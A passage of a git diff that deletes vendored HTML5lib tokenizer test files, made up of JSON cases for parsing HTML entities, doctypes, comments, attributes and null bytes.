-"output": ["ParseError", ["Character", "&or"]]},
-
-{"description": "Bad named entity: otimes without a semi-colon.",
-"input":"&otimes",
-"output": ["ParseError", ["Character", "&otimes"]]},
-
-{"description": "Bad named entity: part without a semi-colon.",
-"input":"&part",
-"output": ["ParseError", ["Character", "&part"]]},
-
-{"description": "Bad named entity: permil without a semi-colon.",
-"input":"&permil",
-"output": ["ParseError", ["Character", "&permil"]]},
-
-{"description": "Bad named entity: perp without a semi-colon.",
-"input":"&perp",
-"output": ["ParseError", ["Character", "&perp"]]},
-
-{"description": "Bad named entity: Phi without a semi-colon.",
-"input":"&Phi",
-"output": ["ParseError", ["Character", "&Phi"]]},
-
-{"description": "Bad named entity: phi without a semi-colon.",
-"input":"&phi",
-"output": ["ParseError", ["Character", "&phi"]]},
-
-{"description": "Bad named entity: Pi without a semi-colon.",
-"input":"&Pi",
-"output": ["ParseError", ["Character", "&Pi"]]},
-
-{"description": "Bad named entity: pi without a semi-colon.",
-"input":"&pi",
-"output": ["ParseError", ["Character", "&pi"]]},
-
-{"description": "Bad named entity: piv without a semi-colon.",
-"input":"&piv",
-"output": ["ParseError", ["Character", "&piv"]]},
-
-{"description": "Bad named entity: prime without a semi-colon.",
-"input":"&prime",
-"output": ["ParseError", ["Character", "&prime"]]},
-
-{"description": "Bad named entity: prime without a semi-colon.",
-"input":"&prime",
-"output": ["ParseError", ["Character", "&prime"]]},
-
-{"description": "Bad named entity: prod without a semi-colon.",
-"input":"&prod",
-"output": ["ParseError", ["Character", "&prod"]]},
-
-{"description": "Bad named entity: prop without a semi-colon.",
-"input":"&prop",
-"output": ["ParseError", ["Character", "&prop"]]},
-
-{"description": "Bad named entity: Psi without a semi-colon.",
-"input":"&Psi",
-"output": ["ParseError", ["Character", "&Psi"]]},
-
-{"description": "Bad named entity: psi without a semi-colon.",
-"input":"&psi",
-"output": ["ParseError", ["Character", "&psi"]]},
-
-{"description": "Bad named entity: radic without a semi-colon.",
-"input":"&radic",
-"output": ["ParseError", ["Character", "&radic"]]},
-
-{"description": "Bad named entity: rang without a semi-colon.",
-"input":"&rang",
-"output": ["ParseError", ["Character", "&rang"]]},
-
-{"description": "Bad named entity: rarr without a semi-colon.",
-"input":"&rarr",
-"output": ["ParseError", ["Character", "&rarr"]]},
-
-{"description": "Bad named entity: rarr without a semi-colon.",
-"input":"&rarr",
-"output": ["ParseError", ["Character", "&rarr"]]},
-
-{"description": "Bad named entity: rceil without a semi-colon.",
-"input":"&rceil",
-"output": ["ParseError", ["Character", "&rceil"]]},
-
-{"description": "Bad named entity: rdquo without a semi-colon.",
-"input":"&rdquo",
-"output": ["ParseError", ["Character", "&rdquo"]]},
-
-{"description": "Bad named entity: real without a semi-colon.",
-"input":"&real",
-"output": ["ParseError", ["Character", "&real"]]},
-
-{"description": "Bad named entity: rfloor without a semi-colon.",
-"input":"&rfloor",
-"output": ["ParseError", ["Character", "&rfloor"]]},
-
-{"description": "Bad named entity: Rho without a semi-colon.",
-"input":"&Rho",
-"output": ["ParseError", ["Character", "&Rho"]]},
-
-{"description": "Bad named entity: rho without a semi-colon.",
-"input":"&rho",
-"output": ["ParseError", ["Character", "&rho"]]},
-
-{"description": "Bad named entity: rlm without a semi-colon.",
-"input":"&rlm",
-"output": ["ParseError", ["Character", "&rlm"]]},
-
-{"description": "Bad named entity: rsaquo without a semi-colon.",
-"input":"&rsaquo",
-"output": ["ParseError", ["Character", "&rsaquo"]]},
-
-{"description": "Bad named entity: rsquo without a semi-colon.",
-"input":"&rsquo",
-"output": ["ParseError", ["Character", "&rsquo"]]},
-
-{"description": "Bad named entity: sbquo without a semi-colon.",
-"input":"&sbquo",
-"output": ["ParseError", ["Character", "&sbquo"]]},
-
-{"description": "Bad named entity: Scaron without a semi-colon.",
-"input":"&Scaron",
-"output": ["ParseError", ["Character", "&Scaron"]]},
-
-{"description": "Bad named entity: scaron without a semi-colon.",
-"input":"&scaron",
-"output": ["ParseError", ["Character", "&scaron"]]},
-
-{"description": "Bad named entity: sdot without a semi-colon.",
-"input":"&sdot",
-"output": ["ParseError", ["Character", "&sdot"]]},
-
-{"description": "Bad named entity: Sigma without a semi-colon.",
-"input":"&Sigma",
-"output": ["ParseError", ["Character", "&Sigma"]]},
-
-{"description": "Bad named entity: sigma without a semi-colon.",
-"input":"&sigma",
-"output": ["ParseError", ["Character", "&sigma"]]},
-
-{"description": "Bad named entity: sigmaf without a semi-colon.",
-"input":"&sigmaf",
-"output": ["ParseError", ["Character", "&sigmaf"]]},
-
-{"description": "Bad named entity: sim without a semi-colon.",
-"input":"&sim",
-"output": ["ParseError", ["Character", "&sim"]]},
-
-{"description": "Bad named entity: spades without a semi-colon.",
-"input":"&spades",
-"output": ["ParseError", ["Character", "&spades"]]},
-
-{"description": "Bad named entity: sub without a semi-colon.",
-"input":"&sub",
-"output": ["ParseError", ["Character", "&sub"]]},
-
-{"description": "Bad named entity: sube without a semi-colon.",
-"input":"&sube",
-"output": ["ParseError", ["Character", "&sube"]]},
-
-{"description": "Bad named entity: sum without a semi-colon.",
-"input":"&sum",
-"output": ["ParseError", ["Character", "&sum"]]},
-
-{"description": "Bad named entity: sup without a semi-colon.",
-"input":"&sup",
-"output": ["ParseError", ["Character", "&sup"]]},
-
-{"description": "Bad named entity: supe without a semi-colon.",
-"input":"&supe",
-"output": ["ParseError", ["Character", "&supe"]]},
-
-{"description": "Bad named entity: Tau without a semi-colon.",
-"input":"&Tau",
-"output": ["ParseError", ["Character", "&Tau"]]},
-
-{"description": "Bad named entity: tau without a semi-colon.",
-"input":"&tau",
-"output": ["ParseError", ["Character", "&tau"]]},
-
-{"description": "Bad named entity: there4 without a semi-colon.",
-"input":"&there4",
-"output": ["ParseError", ["Character", "&there4"]]},
-
-{"description": "Bad named entity: Theta without a semi-colon.",
-"input":"&Theta",
-"output": ["ParseError", ["Character", "&Theta"]]},
-
-{"description": "Bad named entity: theta without a semi-colon.",
-"input":"&theta",
-"output": ["ParseError", ["Character", "&theta"]]},
-
-{"description": "Bad named entity: thetasym without a semi-colon.",
-"input":"&thetasym",
-"output": ["ParseError", ["Character", "&thetasym"]]},
-
-{"description": "Bad named entity: thinsp without a semi-colon.",
-"input":"&thinsp",
-"output": ["ParseError", ["Character", "&thinsp"]]},
-
-{"description": "Bad named entity: tilde without a semi-colon.",
-"input":"&tilde",
-"output": ["ParseError", ["Character", "&tilde"]]},
-
-{"description": "Bad named entity: trade without a semi-colon.",
-"input":"&trade",
-"output": ["ParseError", ["Character", "&trade"]]},
-
-{"description": "Bad named entity: uarr without a semi-colon.",
-"input":"&uarr",
-"output": ["ParseError", ["Character", "&uarr"]]},
-
-{"description": "Bad named entity: uarr without a semi-colon.",
-"input":"&uarr",
-"output": ["ParseError", ["Character", "&uarr"]]},
-
-{"description": "Bad named entity: upsih without a semi-colon.",
-"input":"&upsih",
-"output": ["ParseError", ["Character", "&upsih"]]},
-
-{"description": "Bad named entity: Upsilon without a semi-colon.",
-"input":"&Upsilon",
-"output": ["ParseError", ["Character", "&Upsilon"]]},
-
-{"description": "Bad named entity: upsilon without a semi-colon.",
-"input":"&upsilon",
-"output": ["ParseError", ["Character", "&upsilon"]]},
-
-{"description": "Bad named entity: weierp without a semi-colon.",
-"input":"&weierp",
-"output": ["ParseError", ["Character", "&weierp"]]},
-
-{"description": "Bad named entity: Xi without a semi-colon.",
-"input":"&Xi",
-"output": ["ParseError", ["Character", "&Xi"]]},
-
-{"description": "Bad named entity: xi without a semi-colon.",
-"input":"&xi",
-"output": ["ParseError", ["Character", "&xi"]]},
-
-{"description": "Bad named entity: Yuml without a semi-colon.",
-"input":"&Yuml",
-"output": ["ParseError", ["Character", "&Yuml"]]},
-
-{"description": "Bad named entity: Zeta without a semi-colon.",
-"input":"&Zeta",
-"output": ["ParseError", ["Character", "&Zeta"]]},
-
-{"description": "Bad named entity: zeta without a semi-colon.",
-"input":"&zeta",
-"output": ["ParseError", ["Character", "&zeta"]]},
-
-{"description": "Bad named entity: zwj without a semi-colon.",
-"input":"&zwj",
-"output": ["ParseError", ["Character", "&zwj"]]},
-
-{"description": "Bad named entity: zwnj without a semi-colon.",
-"input":"&zwnj",
-"output": ["ParseError", ["Character", "&zwnj"]]},
-
-{"description": "Bad named entity: zwnj without a semi-colon.",
-"input":"&zwnj",
-"output": ["ParseError", ["Character", "&zwnj"]]},
-
-{"description": "CR as numeric entity",
-"input":"&#013;",
-"output": ["ParseError", ["Character", "\n"]]},
-
-{"description": "CR as hexadecimal numeric entity",
-"input":"&#x00D;",
-"output": ["ParseError", ["Character", "\n"]]},
-
-{"description": "Windows-1252 EURO SIGN numeric entity.",
-"input":"&#0128;",
-"output": ["ParseError", ["Character", "\u20AC"]]},
-
-{"description": "Windows-1252 REPLACEMENT CHAR numeric entity.",
-"input":"&#0129;",
-"output": ["ParseError", ["Character", "\uFFFD"]]},
-
-{"description": "Windows-1252 SINGLE LOW-9 QUOTATION MARK numeric entity.",
-"input":"&#0130;",
-"output": ["ParseError", ["Character", "\u201A"]]},
-
-{"description": "Windows-1252 LATIN SMALL LETTER F WITH HOOK numeric entity.",
-"input":"&#0131;",
-"output": ["ParseError", ["Character", "\u0192"]]},
-
-{"description": "Windows-1252 DOUBLE LOW-9 QUOTATION MARK numeric entity.",
-"input":"&#0132;",
-"output": ["ParseError", ["Character", "\u201E"]]},
-
-{"description": "Windows-1252 HORIZONTAL ELLIPSIS numeric entity.",
-"input":"&#0133;",
-"output": ["ParseError", ["Character", "\u2026"]]},
-
-{"description": "Windows-1252 DAGGER numeric entity.",
-"input":"&#0134;",
-"output": ["ParseError", ["Character", "\u2020"]]},
-
-{"description": "Windows-1252 DOUBLE DAGGER numeric entity.",
-"input":"&#0135;",
-"output": ["ParseError", ["Character", "\u2021"]]},
-
-{"description": "Windows-1252 MODIFIER LETTER CIRCUMFLEX ACCENT numeric entity.",
-"input":"&#0136;",
-"output": ["ParseError", ["Character", "\u02C6"]]},
-
-{"description": "Windows-1252 PER MILLE SIGN numeric entity.",
-"input":"&#0137;",
-"output": ["ParseError", ["Character", "\u2030"]]},
-
-{"description": "Windows-1252 LATIN CAPITAL LETTER S WITH CARON numeric entity.",
-"input":"&#0138;",
-"output": ["ParseError", ["Character", "\u0160"]]},
-
-{"description": "Windows-1252 SINGLE LEFT-POINTING ANGLE QUOTATION MARK numeric entity.",
-"input":"&#0139;",
-"output": ["ParseError", ["Character", "\u2039"]]},
-
-{"description": "Windows-1252 LATIN CAPITAL LIGATURE OE numeric entity.",
-"input":"&#0140;",
-"output": ["ParseError", ["Character", "\u0152"]]},
-
-{"description": "Windows-1252 REPLACEMENT CHAR numeric entity.",
-"input":"&#0141;",
-"output": ["ParseError", ["Character", "\uFFFD"]]},
-
-{"description": "Windows-1252 LATIN CAPITAL LETTER Z WITH CARON numeric entity.",
-"input":"&#0142;",
-"output": ["ParseError", ["Character", "\u017D"]]},
-
-{"description": "Windows-1252 REPLACEMENT CHAR numeric entity.",
-"input":"&#0143;",
-"output": ["ParseError", ["Character", "\uFFFD"]]},
-
-{"description": "Windows-1252 REPLACEMENT CHAR numeric entity.",
-"input":"&#0144;",
-"output": ["ParseError", ["Character", "\uFFFD"]]},
-
-{"description": "Windows-1252 LEFT SINGLE QUOTATION MARK numeric entity.",
-"input":"&#0145;",
-"output": ["ParseError", ["Character", "\u2018"]]},
-
-{"description": "Windows-1252 RIGHT SINGLE QUOTATION MARK numeric entity.",
-"input":"&#0146;",
-"output": ["ParseError", ["Character", "\u2019"]]},
-
-{"description": "Windows-1252 LEFT DOUBLE QUOTATION MARK numeric entity.",
-"input":"&#0147;",
-"output": ["ParseError", ["Character", "\u201C"]]},
-
-{"description": "Windows-1252 RIGHT DOUBLE QUOTATION MARK numeric entity.",
-"input":"&#0148;",
-"output": ["ParseError", ["Character", "\u201D"]]},
-
-{"description": "Windows-1252 BULLET numeric entity.",
-"input":"&#0149;",
-"output": ["ParseError", ["Character", "\u2022"]]},
-
-{"description": "Windows-1252 EN DASH numeric entity.",
-"input":"&#0150;",
-"output": ["ParseError", ["Character", "\u2013"]]},
-
-{"description": "Windows-1252 EM DASH numeric entity.",
-"input":"&#0151;",
-"output": ["ParseError", ["Character", "\u2014"]]},
-
-{"description": "Windows-1252 SMALL TILDE numeric entity.",
-"input":"&#0152;",
-"output": ["ParseError", ["Character", "\u02DC"]]},
-
-{"description": "Windows-1252 TRADE MARK SIGN numeric entity.",
-"input":"&#0153;",
-"output": ["ParseError", ["Character", "\u2122"]]},
-
-{"description": "Windows-1252 LATIN SMALL LETTER S WITH CARON numeric entity.",
-"input":"&#0154;",
-"output": ["ParseError", ["Character", "\u0161"]]},
-
-{"description": "Windows-1252 SINGLE RIGHT-POINTING ANGLE QUOTATION MARK numeric entity.",
-"input":"&#0155;",
-"output": ["ParseError", ["Character", "\u203A"]]},
-
-{"description": "Windows-1252 LATIN SMALL LIGATURE OE numeric entity.",
-"input":"&#0156;",
-"output": ["ParseError", ["Character", "\u0153"]]},
-
-{"description": "Windows-1252 REPLACEMENT CHAR numeric entity.",
-"input":"&#0157;",
-"output": ["ParseError", ["Character", "\uFFFD"]]},
-
-{"description": "Windows-1252 EURO SIGN hexadecimal numeric entity.",
-"input":"&#x080;",
-"output": ["ParseError", ["Character", "\u20AC"]]},
-
-{"description": "Windows-1252 REPLACEMENT CHAR hexadecimal numeric entity.",
-"input":"&#x081;",
-"output": ["ParseError", ["Character", "\uFFFD"]]},
-
-{"description": "Windows-1252 SINGLE LOW-9 QUOTATION MARK hexadecimal numeric entity.",
-"input":"&#x082;",
-"output": ["ParseError", ["Character", "\u201A"]]},
-
-{"description": "Windows-1252 LATIN SMALL LETTER F WITH HOOK hexadecimal numeric entity.",
-"input":"&#x083;",
-"output": ["ParseError", ["Character", "\u0192"]]},
-
-{"description": "Windows-1252 DOUBLE LOW-9 QUOTATION MARK hexadecimal numeric entity.",
-"input":"&#x084;",
-"output": ["ParseError", ["Character", "\u201E"]]},
-
-{"description": "Windows-1252 HORIZONTAL ELLIPSIS hexadecimal numeric entity.",
-"input":"&#x085;",
-"output": ["ParseError", ["Character", "\u2026"]]},
-
-{"description": "Windows-1252 DAGGER hexadecimal numeric entity.",
-"input":"&#x086;",
-"output": ["ParseError", ["Character", "\u2020"]]},
-
-{"description": "Windows-1252 DOUBLE DAGGER hexadecimal numeric entity.",
-"input":"&#x087;",
-"output": ["ParseError", ["Character", "\u2021"]]},
-
-{"description": "Windows-1252 MODIFIER LETTER CIRCUMFLEX ACCENT hexadecimal numeric entity.",
-"input":"&#x088;",
-"output": ["ParseError", ["Character", "\u02C6"]]},
-
-{"description": "Windows-1252 PER MILLE SIGN hexadecimal numeric entity.",
-"input":"&#x089;",
-"output": ["ParseError", ["Character", "\u2030"]]},
-
-{"description": "Windows-1252 LATIN CAPITAL LETTER S WITH CARON hexadecimal numeric entity.",
-"input":"&#x08A;",
-"output": ["ParseError", ["Character", "\u0160"]]},
-
-{"description": "Windows-1252 SINGLE LEFT-POINTING ANGLE QUOTATION MARK hexadecimal numeric entity.",
-"input":"&#x08B;",
-"output": ["ParseError", ["Character", "\u2039"]]},
-
-{"description": "Windows-1252 LATIN CAPITAL LIGATURE OE hexadecimal numeric entity.",
-"input":"&#x08C;",
-"output": ["ParseError", ["Character", "\u0152"]]},
-
-{"description": "Windows-1252 REPLACEMENT CHAR hexadecimal numeric entity.",
-"input":"&#x08D;",
-"output": ["ParseError", ["Character", "\uFFFD"]]},
-
-{"description": "Windows-1252 LATIN CAPITAL LETTER Z WITH CARON hexadecimal numeric entity.",
-"input":"&#x08E;",
-"output": ["ParseError", ["Character", "\u017D"]]},
-
-{"description": "Windows-1252 REPLACEMENT CHAR hexadecimal numeric entity.",
-"input":"&#x08F;",
-"output": ["ParseError", ["Character", "\uFFFD"]]},
-
-{"description": "Windows-1252 REPLACEMENT CHAR hexadecimal numeric entity.",
-"input":"&#x090;",
-"output": ["ParseError", ["Character", "\uFFFD"]]},
-
-{"description": "Windows-1252 LEFT SINGLE QUOTATION MARK hexadecimal numeric entity.",
-"input":"&#x091;",
-"output": ["ParseError", ["Character", "\u2018"]]},
-
-{"description": "Windows-1252 RIGHT SINGLE QUOTATION MARK hexadecimal numeric entity.",
-"input":"&#x092;",
-"output": ["ParseError", ["Character", "\u2019"]]},
-
-{"description": "Windows-1252 LEFT DOUBLE QUOTATION MARK hexadecimal numeric entity.",
-"input":"&#x093;",
-"output": ["ParseError", ["Character", "\u201C"]]},
-
-{"description": "Windows-1252 RIGHT DOUBLE QUOTATION MARK hexadecimal numeric entity.",
-"input":"&#x094;",
-"output": ["ParseError", ["Character", "\u201D"]]},
-
-{"description": "Windows-1252 BULLET hexadecimal numeric entity.",
-"input":"&#x095;",
-"output": ["ParseError", ["Character", "\u2022"]]},
-
-{"description": "Windows-1252 EN DASH hexadecimal numeric entity.",
-"input":"&#x096;",
-"output": ["ParseError", ["Character", "\u2013"]]},
-
-{"description": "Windows-1252 EM DASH hexadecimal numeric entity.",
-"input":"&#x097;",
-"output": ["ParseError", ["Character", "\u2014"]]},
-
-{"description": "Windows-1252 SMALL TILDE hexadecimal numeric entity.",
-"input":"&#x098;",
-"output": ["ParseError", ["Character", "\u02DC"]]},
-
-{"description": "Windows-1252 TRADE MARK SIGN hexadecimal numeric entity.",
-"input":"&#x099;",
-"output": ["ParseError", ["Character", "\u2122"]]},
-
-{"description": "Windows-1252 LATIN SMALL LETTER S WITH CARON hexadecimal numeric entity.",
-"input":"&#x09A;",
-"output": ["ParseError", ["Character", "\u0161"]]},
-
-{"description": "Windows-1252 SINGLE RIGHT-POINTING ANGLE QUOTATION MARK hexadecimal numeric entity.",
-"input":"&#x09B;",
-"output": ["ParseError", ["Character", "\u203A"]]},
-
-{"description": "Windows-1252 LATIN SMALL LIGATURE OE hexadecimal numeric entity.",
-"input":"&#x09C;",
-"output": ["ParseError", ["Character", "\u0153"]]},
-
-{"description": "Windows-1252 REPLACEMENT CHAR hexadecimal numeric entity.",
-"input":"&#x09D;",
-"output": ["ParseError", ["Character", "\uFFFD"]]},
-
-{"description": "Windows-1252 LATIN SMALL LETTER Z WITH CARON hexadecimal numeric entity.",
-"input":"&#x09E;",
-"output": ["ParseError", ["Character", "\u017E"]]},
-
-{"description": "Windows-1252 LATIN CAPITAL LETTER Y WITH DIAERESIS hexadecimal numeric entity.",
-"input":"&#x09F;",
-"output": ["ParseError", ["Character", "\u0178"]]}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/escapeFlag.test b/attic/vendor/plugins/HTML5lib/testdata/tokenizer/escapeFlag.test
deleted file mode 100644
index 59d8f38b..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/escapeFlag.test
+++ /dev/null
@@ -1,21 +0,0 @@
-{"tests": [
-
-{"description":"Commented close tag in [R]CDATA",
-"contentModelFlags":["RCDATA", "CDATA"],
-"lastStartTag":"bar",
-"input":"foo<!--</bar>--></bar>",
-"output":[["Character", "foo<!--</bar>-->"], ["EndTag", "bar"]]},
-
-{"description":"Bogus comment in [R]CDATA",
-"contentModelFlags":["RCDATA", "CDATA"],
-"lastStartTag":"bar",
-"input":"foo<!-->baz</bar>",
-"output":[["Character", "foo<!-->baz"], ["EndTag", "bar"]]},
-
-{"description":"End tag surrounded by bogus comment in [R]CDATA",
-"contentModelFlags":["RCDATA", "CDATA"],
-"lastStartTag":"bar",
-"input":"foo<!--></bar><!-->baz</bar>",
-"output":[["Character", "foo<!-->"], ["EndTag", "bar"], "ParseError", ["Comment", ""], ["Character", "baz"], ["EndTag", "bar"]]}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test1.test b/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test1.test
deleted file mode 100644
index cc6c12fc..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test1.test
+++ /dev/null
@@ -1,172 +0,0 @@
-{"tests": [
-
-{"description":"Correct Doctype lowercase",
-"input":"<!DOCTYPE html>",
-"output":[["DOCTYPE", "html", null, null, true]]},
-
-{"description":"Correct Doctype uppercase",
-"input":"<!DOCTYPE HTML>",
-"output":[["DOCTYPE", "HTML", null, null, true]]},
-
-{"description":"Correct Doctype mixed case",
-"input":"<!DOCTYPE HtMl>", 
-"output":[["DOCTYPE", "HtMl", null, null, true]]},
-
-{"description":"Truncated doctype start",
-"input":"<!DOC>", 
-"output":["ParseError", ["Comment", "DOC"]]},
-
-{"description":"Doctype in error",
-"input":"<!DOCTYPE foo>", 
-"output":[["DOCTYPE", "foo", null, null, true]]},
-
-{"description":"Single Start Tag",
-"input":"<h>",
-"output":[["StartTag", "h", {}]]},
-
-{"description":"Empty end tag",
-"input":"</>",
-"output":["ParseError"]},
-
-{"description":"Empty start tag",
-"input":"<>",
-"output":["ParseError", ["Character", "<>"]]},
-
-{"description":"Start Tag w/attribute",
-"input":"<h a='b'>",
-"output":[["StartTag", "h", {"a":"b"}]]},
-
-{"description":"Start Tag w/attribute no quotes",
-"input":"<h a=b>",
-"output":[["StartTag", "h", {"a":"b"}]]},
-
-{"description":"Start/End Tag",
-"input":"<h></h>",
-"output":[["StartTag", "h", {}], ["EndTag", "h"]]},
-
-{"description":"Two unclosed start tags",
-"input":"<p>One<p>Two",
-"output":[["StartTag", "p", {}], ["Character", "One"], ["StartTag", "p", {}], ["Character", "Two"]]},
-
-{"description":"End Tag w/attribute",
-"input":"<h></h a='b'>",
-"output":[["StartTag", "h", {}], "ParseError", ["EndTag", "h"]]},
-
-{"description":"Multiple atts",
-"input":"<h a='b' c='d'>",
-"output":[["StartTag", "h", {"a":"b", "c":"d"}]]},
-
-{"description":"Multiple atts no space",
-"input":"<h a='b'c='d'>",
-"output":[["StartTag", "h", {"a":"b", "c":"d"}]]},
-
-{"description":"Repeated attr",
- "input":"<h a='b' a='d'>",
- "output":["ParseError", ["StartTag", "h", {"a":"b"}]]},
-
-{"description":"Simple comment",
- "input":"<!--comment-->",
- "output":[["Comment", "comment"]]},
-
-{"description":"Comment, Central dash no space",
- "input":"<!----->",
- "output":["ParseError", ["Comment", "-"]]},
-
-{"description":"Comment, two central dashes",
-"input":"<!-- --comment -->",
-"output":["ParseError", ["Comment", " --comment "]]},
-
-{"description":"Unfinished comment",
-"input":"<!--comment",
-"output":["ParseError", ["Comment", "comment"]]},
-
-{"description":"Start of a comment",
-"input":"<!-",
-"output":["ParseError", ["Comment", "-"]]},
-
-{"description":"Short comment",
- "input":"<!-->",
- "output":["ParseError", ["Comment", ""]]},
-
-{"description":"Short comment two",
- "input":"<!--->",
- "output":["ParseError", ["Comment", ""]]},
-
-{"description":"Short comment three",
- "input":"<!---->",
- "output":[["Comment", ""]]},
-
-
-{"description":"Ampersand EOF",
-"input":"&",
-"output":[["Character", "&"]]},
-
-{"description":"Ampersand ampersand EOF",
-"input":"&&",
-"output":[["Character", "&&"]]},
-
-{"description":"Ampersand space EOF",
-"input":"& ",
-"output":[["Character", "& "]]},
-
-{"description":"Unfinished entity",
-"input":"&f",
-"output":["ParseError", ["Character", "&f"]]},
-
-{"description":"Ampersand, number sign",
-"input":"&#",
-"output":["ParseError", ["Character", "&#"]]},
-
-{"description":"Unfinished numeric entity",
-"input":"&#x",
-"output":["ParseError", ["Character", "&#x"]]},
-
-{"description":"Entity with trailing semicolon (1)",
-"input":"I'm &not;it",
-"output":[["Character","I'm ¬it"]]},
-
-{"description":"Entity with trailing semicolon (2)",
-"input":"I'm &notin;",
-"output":[["Character","I'm ∉"]]},
-
-{"description":"Entity without trailing semicolon (1)",
-"input":"I'm &notit",
-"output":[["Character","I'm "], "ParseError", ["Character", "¬it"]]},
-
-{"description":"Entity without trailing semicolon (2)",
-"input":"I'm &notin",
-"output":[["Character","I'm "], "ParseError", ["Character", "¬in"]]},
-
-{"description":"Partial entity match at end of file",
-"input":"I'm &no",
-"output":[["Character","I'm "], "ParseError", ["Character", "&no"]]},
-
-{"description":"ASCII decimal entity",
-"input":"&#0036;",
-"output":[["Character","$"]]},
-
-{"description":"ASCII hexadecimal entity",
-"input":"&#x3f;",
-"output":[["Character","?"]]},
-
-{"description":"Hexadecimal entity in attribute",
-"input":"<h a='&#x3f;'></h>",
-"output":[["StartTag", "h", {"a":"?"}], ["EndTag", "h"]]},
-
-{"description":"Entity in attribute without semicolon ending in x",
-"input":"<h a='&notx'>",
-"output":["ParseError", ["StartTag", "h", {"a":"&notx"}]]},
-
-{"description":"Entity in attribute without semicolon ending in 1",
-"input":"<h a='&not1'>",
-"output":["ParseError", ["StartTag", "h", {"a":"&not1"}]]},
-
-{"description":"Entity in attribute without semicolon ending in i",
-"input":"<h a='&noti'>",
-"output":["ParseError", ["StartTag", "h", {"a":"&noti"}]]},
-
-{"description":"Entity in attribute without semicolon",
-"input":"<h a='&COPY'>",
-"output":["ParseError", ["StartTag", "h", {"a":"©"}]]}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test2.test b/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test2.test
deleted file mode 100644
index 18d76c6f..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test2.test
+++ /dev/null
@@ -1,129 +0,0 @@
-{"tests": [
-
-{"description":"DOCTYPE without name",
-"input":"<!DOCTYPE>",
-"output":["ParseError", "ParseError", ["DOCTYPE", "", null, null, false]]},
-
-{"description":"DOCTYPE without space before name",
-"input":"<!DOCTYPEhtml>",
-"output":["ParseError", ["DOCTYPE", "html", null, null, true]]},
-
-{"description":"Incorrect DOCTYPE without a space before name",
-"input":"<!DOCTYPEfoo>",
-"output":["ParseError", ["DOCTYPE", "foo", null, null, true]]},
-
-{"description":"DOCTYPE with publicId",
-"input":"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML Transitional 4.01//EN\">",
-"output":[["DOCTYPE", "html", "-//W3C//DTD HTML Transitional 4.01//EN", null, true]]},
-
-{"description":"DOCTYPE with EOF after PUBLIC",
-"input":"<!DOCTYPE html PUBLIC",
-"output":["ParseError", ["DOCTYPE", "html", null, null, false]]},
-
-{"description":"DOCTYPE with EOF after PUBLIC '",
-"input":"<!DOCTYPE html PUBLIC '",
-"output":["ParseError", ["DOCTYPE", "html", "", null, false]]},
-
-{"description":"DOCTYPE with EOF after PUBLIC 'x",
-"input":"<!DOCTYPE html PUBLIC 'x",
-"output":["ParseError", ["DOCTYPE", "html", "x", null, false]]},
-
-{"description":"DOCTYPE with systemId",
-"input":"<!DOCTYPE html SYSTEM \"-//W3C//DTD HTML Transitional 4.01//EN\">",
-"output":[["DOCTYPE", "html", null, "-//W3C//DTD HTML Transitional 4.01//EN", true]]},
-
-{"description":"DOCTYPE with publicId and systemId",
-"input":"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML Transitional 4.01//EN\" \"-//W3C//DTD HTML Transitional 4.01//EN\">",
-"output":[["DOCTYPE", "html", "-//W3C//DTD HTML Transitional 4.01//EN", "-//W3C//DTD HTML Transitional 4.01//EN", true]]},
-
-{"description":"Incomplete doctype",
-"input":"<!DOCTYPE html ",
-"output":["ParseError", ["DOCTYPE", "html", null, null, false]]},
-
-{"description":"Numeric entity representing the NUL character",
-"input":"&#0000;",
-"output":["ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"Hexadecimal entity representing the NUL character",
-"input":"&#x0000;",
-"output":["ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"Numeric entity representing a codepoint after 1114111 (U+10FFFF)",
-"input":"&#2225222;",
-"output":["ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"Hexadecimal entity representing a codepoint after 1114111 (U+10FFFF)",
-"input":"&#x1010FFFF;",
-"output":["ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"Hexadecimal entity pair representing a surrogate pair",
-"input":"&#xD869;&#xDED6;",
-"output":["ParseError", ["Character", "\uFFFD"], "ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"Hexadecimal entity with mixed uppercase and lowercase",
-"input":"&#xaBcD;",
-"output":[["Character", "\uABCD"]]},
-
-{"description":"Entity without a name",
-"input":"&;",
-"output":["ParseError", ["Character", "&;"]]},
-
-{"description":"Unescaped ampersand in attribute value",
-"input":"<h a='&'>",
-"output":["ParseError", ["StartTag", "h", { "a":"&" }]]},
-
-{"description":"StartTag containing <",
-"input":"<a<b>",
-"output":[["StartTag", "a<b", { }]]},
-
-{"description":"Non-void element containing trailing /",
-"input":"<h/>",
-"output":["ParseError", ["StartTag", "h", { }]]},
-
-{"description":"Void element with permitted slash",
-"input":"<br/>",
-"output":[["StartTag", "br", { }]]},
-
-{"description":"StartTag containing /",
-"input":"<h/a='b'>",
-"output":["ParseError", ["StartTag", "h", { "a":"b" }]]},
-
-{"description":"Double-quoted attribute value",
-"input":"<h a=\"b\">",
-"output":[["StartTag", "h", { "a":"b" }]]},
-
-{"description":"Unescaped </",
-"input":"</",
-"output":["ParseError", ["Character", "</"]]},
-
-{"description":"Illegal end tag name",
-"input":"</1>",
-"output":["ParseError", ["Comment", "1"]]},
-
-{"description":"Simili processing instruction",
-"input":"<?namespace>",
-"output":["ParseError", ["Comment", "?namespace"]]},
-
-{"description":"A bogus comment stops at >, even if preceeded by two dashes",
-"input":"<?foo-->",
-"output":["ParseError", ["Comment", "?foo--"]]},
-
-{"description":"Unescaped <",
-"input":"foo < bar",
-"output":[["Character", "foo "], "ParseError", ["Character", "< bar"]]},
-
-{"description":"Null Byte Replacement",
-"input":"\u0000",
-"output":["ParseError", ["Character", "\ufffd"]]},
-
-{"description":"Comment with dash",
-"input":"<!---x",
-"output":["ParseError", ["Comment", "-x"]]},
-
-{"description":"Entity + newline",
-"input":"\nx\n&gt;\n",
